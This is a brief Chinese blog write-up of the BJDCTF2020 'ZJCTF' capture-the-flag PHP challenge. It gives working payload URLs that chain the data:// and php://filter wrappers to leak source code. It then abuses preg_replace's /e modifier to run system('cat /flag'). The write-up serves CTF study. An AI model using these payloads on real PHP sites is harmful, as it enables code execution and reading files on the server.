[BJDCTF2020]ZJCTF,不过如此

 

 

get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

 

 base64解码得到源码

深入研究preg_replace与代码执行

e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。

 

next.php?\S*=${getFlag()}&cmd=system("cat /flag");

 

 

 

posted @ 2021-03-29 12:11  夜布多  阅读(132)  评论(0编辑  收藏  举报